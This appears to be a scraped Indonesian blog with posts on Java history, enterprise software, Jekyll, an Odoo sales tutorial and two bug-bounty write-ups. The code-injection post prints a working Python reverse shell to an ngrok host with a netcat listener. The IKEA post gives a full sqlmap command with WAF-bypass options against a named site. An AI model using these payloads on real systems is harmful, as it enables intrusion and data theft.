Yudha-Ard 🔧
Dark Mode
Apakah itu Bahasa Pemograman Java ?

Apakah itu Bahasa Pemograman Java ?

 

 

Java adalah bahasa pemrograman yang dapat dijalankan di berbagai piranti elektronik seperti Komputer dan handpone . Bahasa ini awalnya dibuat oleh James Gosling saat masih bergabung di perusahaan Sun Microsystems, yang saat ini merupakan bagian dari perusahaan Oracle dan Bahasa pemograman ini dirilis tahun 1995. Bahasa ini banyak mengadopsi sintak yang terdapat pada Bahasa pemograman C dan C++ namun dengan sintak pemograman berbasis objek yang lebih sederhana dan minimal. Aplikasi-aplikasi berbasis Java umumnya dikompilasi ke dalam p-code (bytecode) dan dapat dijalankan pada berbagai Mesin Virtual Java (JVM). Java merupakan bahasa pemrograman yang bersifat umum/non-spesifik (general purpose), dan secara khusus didesain untuk memanfaatkan dependensi implementasi seminimal mungkin. Karena fungsionalitasnya yang memungkinkan aplikasi java mampu berjalan di beberapa platform sistem operasi yang berbeda, java dikenal pula dengan slogannya, "Tulis sekali, jalankan di mana pun". Saat ini java merupakan bahasa pemrograman yang paling populer dan banyak digunakan banyak perusahaan untuk mengembangkan system yang dibuat.

Sejarah Bahasa Pemograman JAVA

Bahasa pemrograman Java terlahir dari The Green Project, yang berjalan selama 18 bulan, dari awal tahun 1991 sampai 1992. Proyek tersebut belum menggunakan versi yang dinamakan Oak. Proyek ini dimotori oleh Patrick Naughton, Mike Sheridan, dan James Gosling, beserta sembilan pemrogram lainnya dari Sun Microsystems. Salah satu hasil proyek ini adalah maskot Duke yang dibuat oleh Joe Palrang.

Pertemuan proyek berlangsung di sebuah gedung perkantoran Sand Hill Road di Menlo Park. Sekitar tahun 1992 proyek ini ditutup dengan menghasilkan sebuah program Java Oak pertama, yang ditujukan sebagai pengendali sebuah peralatan dengan teknologi layar sentuh (touch screen.

Mereka menjadikan peramban (browser) Mosaic sebagai landasan awal untuk membuat perambah Java pertama yang dinamai Web Runner. Pada perkembangan rilis pertama, Web Runner berganti nama menjadi Hot Java. Pada sekitar bulan Maret 1995, untuk pertama kali kode sumber Java versi 1.0.2 dibuka. Sayang terjadi perpecahan dari tiga pimpinan utama proyek, Eric Schmidt dan George Paolini dari Sun Microsystems bersama Marc Andreessen, dan membentuk Netscape.

Nama Oak, diambil dari pohon oak yang tumbuh di depan jendela ruangan kerja "Bapak Java", James Gosling. Nama Oak ini tidak dipakai untuk versi release Java karena sebuah perangkat lunak lain sudah terdaftar dengan merek dagang tersebut, sehingga diambil nama penggantinya menjadi "Java". Nama ini diambil dari kopi murni yang digiling langsung dari biji (kopi tubruk) kesukaan James Gosling. Konon kopi ini berasal dari Pulau Jawa. Jadi nama bahasa pemrograman Java tidak lain berasal dari kata. Berikut produk yang dikeluarkan pada awal rilis.

  • JDK (Java Development Kit), dengan versi JDK versi 1.0.2. JDK versi ini merupakan sekumpulan program dan library Java yang digunakan untuk mengembangkan dan menjalankan program Java serta membuat gebrakan dalam dunia web yaitu Java Applet.
  • JDK versi 1.1 atau yang lebih dikenal dengan Java 1 compilant yang dipecah menjadi dua bagian di antaranya yaitu:
  • JRE ( Java RunTime Evironment)
  • JSDK (Java Software Development Kit)

Pada perkembangan selanjutnya Sun Microsystem mengeluarkan lagi Java versi 1.2 yang terdiri dari JDK dan JRE versi 1.2. yang dibagi lagi menjadi 3 kategori yaitu:

  1. Java 2 Standard Edition (J2SE)
  2. Java 2 Enterprise Edition (J2EE)
  3. Java 2 Micro Edition (J2ME)

Versi awal

Versi awal Java pada tahun 1996 sudah merupakan versi release sehingga dinamakan Java Versi 1.0.0. Java versi ini menyertakan banyak paket standar awal yang terus dikembangkan pada versi selanjutnya:

  • java.lang : Peruntukan kelas elemen-elemen dasar.
  • java.io   : Peruntukan kelas input dan output, termasuk penggunaan berkas.
  • java.util : Peruntukan kelas pelengkap seperti kelas struktur data dan kelas kelas penanggalan.
  • java.net  : Peruntukan kelas TCP/IP, yang memungkinkan berkomunikasi dengan komputer lain menggunakan jaringan TCP/IP.
  • java.awt  : Kelas dasar untuk aplikasi antarmuka dengan pengguna (GUI)
  • java.applet: Kelas dasar aplikasi antar muka untuk diterapkan pada penjelajah web.

 

Kelebihan dan kekurangan

Kelebihan

  • Multiplatform. Kelebihan utama dari Java ialah dapat dijalankan di beberapa platform / sistem operasi komputer, sesuai dengan prinsip tulis sekali, jalankan di mana saja”. Dengan kelebihan ini pemrogram cukup menulis sebuah program Java dan dikompilasi (diubah, dari bahasa yang dimengerti manusia menjadi bahasa mesin / bytecode) sekali lalu hasilnya dapat dijalankan di atas beberapa platform tanpa perubahan. Kelebihan ini memungkinkan sebuah program berbasis java dikerjakan di atas operating system Linux tetapi dijalankan dengan baik di atas Microsoft Windows. Platform yang didukung sampai saat ini adalah Microsoft Windows, Linux, Mac OS dan Sun Solaris
  • OOP (Object Oriented Programming - Pemrogram Berorientasi Objek), Java merupakan salah satu bahasa pemrograman dengan konsep OOP. Aplikasi yang dibangun dengan konsep OOP terdiri atas object-object yang saling berhubungan.
  • Library Yang Lengkap, Java terkenal dengan kelengkapan library/perpustakaan (kumpulan program program yang disertakan dalam pemrograman java) yang sangat memudahkan dalam penggunaan oleh para pemrogram untuk membangun aplikasinya. Kelengkapan perpustakaan ini ditambah dengan keberadaan komunitas Java yang besar yang terus menerus membuat perpustakaan-perpustakaan baru untuk melingkupi seluruh kebutuhan pembangunan aplikasi.
  • Bergaya C++, memiliki sintaks seperti bahasa pemrograman C++ sehingga menarik banyak pemrogram C++ untuk pindah ke Java. Saat ini pengguna Java sangat banyak, sebagian besar adalah pemrogram C++ yang pindah ke Java.
  • Pengumpulan sampah otomatis, memiliki fasilitas pengaturan penggunaan memori sehingga para pemrogram tidak perlu melakukan pengaturan memori secara langsung.
 
Kekurangan
 
  • Tulis sekali, jalankan di mana saja , Masih ada beberapa hal yang tidak kompatibel antara platform satu dengan platform lain. Untuk J2SE, misalnya SWT-AWT bridge yang sampai sekarang tidak berfungsi pada Mac OS X.
  • Mudah didekompilasi. Dekompilasi adalah proses membalikkan dari kode jadi menjadi kode sumber. Ini dimungkinkan karena kode jadi Java merupakan bytecode yang menyimpan banyak atribut bahasa tingkat tinggi, seperti nama-nama kelas, metode, dan tipe data. Hal yang sama juga terjadi pada Microsoft .NET Platform. Dengan demikian, algoritma yang digunakan program akan lebih sulit disembunyikan dan mudah dianalisa/direverse-engineer.
  • Penggunaan memori yang banyak. Penggunaan memori untuk program berbasis Java jauh lebih besar daripada bahasa tingkat tinggi generasi sebelumnya seperti C/C++ dan Pascal .Biasanya ini bukan merupakan masalah bagi pihak yang menggunakan teknologi terbaru (karena trend memori terpasang makin murah), tetapi menjadi masalah bagi mereka yang masih harus berkutat dengan mesin komputer minimum spesifikasi.

 

 Enterprise application

Enterprise application (EA) adalah sistem perangkat lunak bisnis yang mengatur operasi tertentu. Ada banyak jenis EA yang berbeda, masing-masing berisi seperangkat alat dan fungsi unik untuk melakukan tugas. Dengan EA, bisnis dapat meminimalkan intervensi manusia, meningkatkan produktivitas, dan mengoptimalkan efisiensi operasional melalui otomatisasi. Hal ini memungkinkan perusahaan untuk menskalakan tanpa menahan diri atau khawatir akan berkembangnya metode manajemen tradisional. Berikut contoh penerapan system enterprise di aplikasi

  • Akuntansi dan Penagihan

Perangkat lunak akuntansi dan penagihan menangani arus kas, dari pembayaran pelanggan yang masuk hingga faktur pemasok yang keluar. Solusi ini untuk melacak nilai moneter dan anggaran perusahaan. Tanpa sistem akuntansi atau penagihan, bisnis tidak dapat melacak dan mencatat pengeluaran atau keuntungan mereka secara efisien.
  • Intelijen Bisnis

Intelijen bisnis (BI) adalah platform perangkat lunak terintegrasi yang mendefinisikan, menggabungkan, dan mengumpulkan data dalam jumlah besar. Perusahaan biasanya menggunakan BI mereka untuk mengembangkan wawasan yang dapat ditindaklanjuti, meningkatkan pengambilan keputusan, dan membuat model prediktif. Ketika perusahaan menggunakan BI mereka dengan benar, mereka dapat mengidentifikasi kelemahan, kekuatan, risiko, dan peluang mereka

  • Manajemen Konten Perusahaan

Perangkat lunak manajemen konten perusahaan (ECM) dapat mencakup satu atau beberapa aplikasi yang menangani konten digital. Perangkat lunak ECM menyimpan, mengelola, dan mendistribusikan konten digital di seluruh platform terprogram, mulai dari pembuatannya hingga penghapusannya. Perusahaan biasanya menggunakan ECM untuk mengisi situs produk, blog, artikel, dan buletin untuk menghasilkan prospek baru.

  • Pengelolaan hubungan pelanggan

Sistem manajemen hubungan pelanggan (CRM) memungkinkan perusahaan untuk mengumpulkan dan mengelola informasi klien yang masuk sehingga mereka dapat mengamankan prospek dan retensi. CRM memiliki berbagai fungsi, mulai dari memfasilitasi penjualan hingga membuat informasi bisnis dapat diakses oleh pelanggan. Tanpa CRM, perusahaan tidak dapat mempertahankan aset terpenting mereka.

  • Perencanaan Sumberdaya Perusahaan

Solusi perencanaan sumber daya perusahaan (ERP) mengelola proses internal perusahaan untuk meningkatkan alokasi dan penganggaran sumber daya. Perangkat lunak ERP biasanya mencakup departemen keuangan, inventaris, sumber daya manusia, dan pemasaran untuk mengolaborasikan semua data yang relevan. Dengan informasi yang terintegrasi, sistem ERP dapat mengotomatisasi berbagai bagian dari proses perencanaan.

  • Perangkat Lunak Tempat Penjualan

Perangkat lunak point-of-sale (POS) adalah yang mengatur dan mencatat transaksi pelanggan sehingga bisnis dapat memantau pendapatan dan inventaris front-end mereka. Biasanya, pengecer seperti restoran dan butik menggunakan solusi POS untuk mengelola barang dagangan dan pembelian di dalam toko mereka. Perangkat lunak POS juga memungkinkan perusahaan menerima kartu kredit, cek, dan pembayaran tunai.

 

Membuat Blog dengan Jekyll di Github Pages

Membuat Blog dengan Jekyll di Github Pages

Membuat Simple Blog dengan Jekyll di Github Pages

 

 

Apa itu Jekyll ?


sesuai tagline-nya “a simple, blog-aware, static site generator” dan 


Menurut keterangan di official repository Jekyll , Jekyll adalah


generator situs statis sederhana,  blog,  untuk situs pribadi, proyek, atau organisasi. 

Anggap saja seperti CMS ( Content Management System ) berbasis file, tanpa semua kerumitan. 

Jekyll mengambil konten Anda, merender/membaca template/struktur  Markdown (.md), 

dan menampilkan situs web statis lengkap yang siap dilayani oleh

 Apache, 

Nginx, 

atau server web lainnya. 

Jekyll dapat digunakan langsung dari repositori Github. Jekyll berjalan pada ruby.

Tutorial Membuat Modul Sales pada ERP ODOO

Tutorial Membuat Modul Sales pada ERP ODOO


Tutorial Membuat Modul Sales pada ERP Odoo


  1. Membuka dan Membuat akun Website Odoo di ODOO.COM dan membuat akun untuk membuat repo databases kita.
  2. Odoo memiliki banyak modul, namun untuk membuat modul sales kita hanya butuh modul CRM, Invoicing, dan Sales. Apabila modul yang dibutuhkan belum ada maka kita install pada menu ‘Apps’


  3. Kita harus membuat nama dan deskripsi mengenai perusahaan kita terlebih dahulu

  4. Pertama kita harus membuat kontak pelanggan dengan klik menu ‘Contacts’

  5. Klik ‘CREATE’ untuk menambah kontak pelanggan

  6. Memasukkan nama pelanggan, dan data lain dari pelanggan, lalu klik ‘ADD’ untuk meyimpan

  7. Disini kita diminta untuk mengisi kontaknya lagi lalu klik ‘SAVE & CLOSE’
  8. Mengembalikan ke menu awal dengan klik ikon kotak-kotak pada bagian kiri atas
  9. Selanjutnya membuat produknya dengan klik menu ‘Sales’

  10. Pada bagian atas terdapat beberapa menu, kita pilih menu ‘Products’

  11. Klik ‘CREATE’

  12. Memasukkan nama produk, harga bebas, dan juga dapat menambah data sendiri. Menyimpan data dengan klik ‘SAVE’ pada bagian atas

  13. Berikutnya, melakukkan order karena sudah terdapat pelanggan dan juga contoh produk dengan klik menu ‘Orders’, lalu klik ‘CREATE’
  14. Pada form, kita pilih customer (langsung ambil data dari kontak pelanggan) dan menambahkan produk yang dibeli.

  15. Akan muncul quotation atau bukti pemesanan.

  16. Mencetak invoice dengan klik ‘CREATE INVOICE’ lalu pilih ‘deduct down payments’ dan klik ‘CREATE AND VIEW INVOICES’, seperti inilah invoice yang sudah dibuat
  17. Mengirim pesan pada pelanggan misal terdapat batas waktu pembayaran dengan klik ‘SEND & PRINT’. Setelah mengisi email dan nomor telepon klik ‘SAVE’
  18. Format pesan akan otomatis muncul dengan nomor invoice, tahun pemesanan, dan jumlah pembayaran yang harus dibayar, klik ‘SEND & PRINT’ untuk mengirim pesan dan mencetak invoice barang yang belum dibayar
  19. Kita bisa mengedit tampilan Invoices disini.


  20. Kembali pada ERP, untuk mencetak invoice yang sudah dibayar maka klik menu ‘REGISTER PAYMENT’, terdapat jumlah biaya, memilih metode pembayaran, dan memilih tanggal pembayaran, lalu klik ‘CREATE PAYMENT’
  21. Pembayaran sudah dilakukan.

  22. Mengirim pesan pada pelanggan bahwa pembayaran sudah dilakukan dan mencetak invoice barang yang sudah dibayar lunas dengan klik ‘SEND & PRINT’
  23. Bukti transaksi dapat dilihat di menu ‘Orders’, dengan nomor transaksi, tanggal, nama customer, dan status invoicenya.

Code Injection On DQLAB

Code Injection On DQLAB

 


 

Apa Itu Code Injection (Kode Injeksi) dan Apa Dampaknya?

Dikutip dari https://www.owasp.org/index.php/Code_Injection, Kode Injeksi adalah istilah umum untuk jenis serangan yang terdiri dari kode yang disuntikan yang kemudian ditafsirkan / dieksekusi oleh aplikasi. Serangan ini biasanya dimungkinkan karena kurangnya validasi data input / output yang tepat, misalnya:

  • Jarakter yang diizinkan (kelas regular expressions standar atau khusus)
    format data

  • Jumlah data yang diharapkan

Jika berhasil meng-eksploitasi serangan ini, dampaknya dapat mencakup bocornya data, hilangnya data atau informasi yang telah dicuri oleh penyerang 

POC (Proof Of Concept) :

Saya mencoba menjalankan perintah shell dengan modul os, ternyata code tereksekusi dengan lancar 

import osos.system('uname -a')

lalu saya mencoba me-reverse shell via command line, sebelumnya saya menggunakan netcat untuk listener “nc -lvp 6969” Karena ip address saya bukan public ip maka saya akan forward ip address saya dengan ngrok “ngrok tcp 6969” kemudian gunakan public address yang di assign ngrok sebagai ip dan port dipayload yang dieksekusi. Berikut kode yang saya gunakan

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.tcp.ngrok.io",12084));os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);




Sekian dari saya kurang lebih mohon maaf , Wassalamualaikum Wr.Wb

SQL-Injection On Ikea.co.id

SQL-Injection On Ikea.co.id



IKEA SQL-Injection – Hello, Here I will share my experience of hunting bugs on an e-commerce site in Indonesia.This experience started when I was browsing to see and find references to articles for a college assignment I was working on,I saw banners / advertisements from the IKEA.CO.ID website which often popped up immediately crossed my mind to try to do a pentest on the website IKEA. CO.ID.

Prof Of Concept 

1. Visit Product Page "https://www.ikea.co.id/in/products/"

2. Search for a product & navigate to the product page according to the name of the product search

3. Get product filter and see json response on Network panel

 

 

 

 

 


 


4. I have the parameter in the url "https://www.ikea.co.id/in/products/template_reload?&q=meja&price="

5. I think the parameter price has sqli potential because I tried to enter in your SQL injection payload into price params i get error information on page. 

6. I tried the test with the sqlmap tools and I tried dump for get DB_NAME with payload ' ./sqlmap.py -u "https://www.ikea.co.id/in/products/template_reload?&q=meja&price=1" --random-agent -p"price" --risk=3 --level=3 --tamper=randomcase --threads=2 --text-only --no-cast --batch --dbms=postgresql --dbs '

7. I got 27 DATABASE NAME on system


    Refrensi:

    https://medium.com/@drag0n/sqlmap-tamper-scripts-sql-injection-and-waf-bypass-c5a3f5764cb3
    https://medium.com/@vardanstres/advance-sqlmap-bypass-mod-security-bypass-bdb2e8b79bc

     

    Big Thank's To: 


    Timeline:

    • Oct 23, 2020   – Send Report.
    • Nov 20, 2020  – Bug fixing.
    • Jan 29, 2021   – Reward sent ($500).